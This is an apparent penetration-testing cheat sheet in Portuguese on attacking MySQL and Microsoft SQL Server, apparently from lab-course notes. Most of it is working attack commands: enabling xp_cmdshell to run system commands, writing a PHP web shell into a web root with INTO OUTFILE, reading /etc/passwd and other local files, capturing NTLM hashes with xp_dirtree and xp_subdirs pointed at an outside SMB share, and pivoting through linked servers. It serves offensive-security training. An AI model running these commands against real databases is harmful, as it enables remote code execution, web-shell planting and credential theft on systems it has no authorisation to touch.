SQL Databases

MySQL e Microsoft SQL Server ( MSSQL) são sistemas de gerenciamento de banco de dados relacional que armazenam dados em tabelas, colunas e linhas. Muitos sistemas de banco de dados relacional como MSSQL e MySQL usam a Structured Query Language ( SQL) para consultar e manter o banco de dados.

  • MSSQL PORT : TCP and UDP 1433

  • MySQL PORT : TCP 3306

  • Banner Grabbing

nmap -Pn -sV -sC -p1433 10.10.10.125
  • MySQL - Conectando ao SQL Server

mysql -u julio -pPassword123 -h 10.129.20.13
  • Sqlcmd - Conectando ao SQL Server

sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
  • Se estivermos mirando MSSQLno Linux, podemos usar sqshcomo alternativa sqlcmd:

sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
  • Alternativamente, podemos usar a ferramenta do Impacket com o nome mssqlclient.py.

mssqlclient.py -p 1433 julio@10.129.203.7
  • Conectando-se ao servidor MSSQL a partir do Linux enquanto o mecanismo de autenticação do Windows é usado pelo servidor MSSQL.

sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
  • Mostrar todos os bancos de dados disponíveis no MySQL.

mysql> SHOW DATABASES;
  • Selecione um banco de dados específico no MySQL.

mysql> USE htbusers;
  • Mostrar todas as tabelas disponíveis no banco de dados selecionado no MySQL.

mysql> SHOW TABLES;
  • Selecione todas as entradas disponíveis da tabela "users" no MySQL.

mysql> SELECT * FROM users;
  • Mostrar todos os bancos de dados disponíveis no MSSQL.

sqlcmd> SELECT name FROM master.dbo.sysdatabases
  • Selecione um banco de dados específico no MSSQL.

sqlcmd> USE htbusers
  • Mostrar todas as tabelas disponíveis no banco de dados selecionado no MSSQL.

sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES
  • Selecione todas as entradas disponíveis da tabela "usuários" no MSSQL.

sqlcmd> SELECT * FROM users
  • Para permitir que opções avançadas sejam alteradas.

sqlcmd> EXECUTE sp_configure 'show advanced options', 1
  • Para habilitar o xp_cmdshell.

sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1
  • Para ser usado após cada comando sp_configure para aplicar as alterações.

sqlcmd> RECONFIGURE
  • Execute um comando do sistema a partir do servidor MSSQL.

sqlcmd> xp_cmdshell 'whoami'
  • Crie um arquivo usando MySQL.

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'
  • Verifique se os privilégios de arquivo seguro estão vazios para ler arquivos armazenados localmente no sistema.

mysql> show variables like "secure_file_priv";
  • Leia arquivos locais no MSSQL.

sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
  • Leia arquivos locais no MySQL.

mysql> select LOAD_FILE("/etc/passwd");
  • Roubo de hash usando o xp_dirtreecomando no MSSQL.

sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'
  • Roubo de hash usando o xp_subdirscomando no MSSQL.

sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'
  • Identificar servidores vinculados no MSSQL.

sqlcmd> SELECT srvname, isremote FROM sysservers
  • Identifique o usuário e seus privilégios usados ​​para a conexão remota no MSSQL.

sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]

Last updated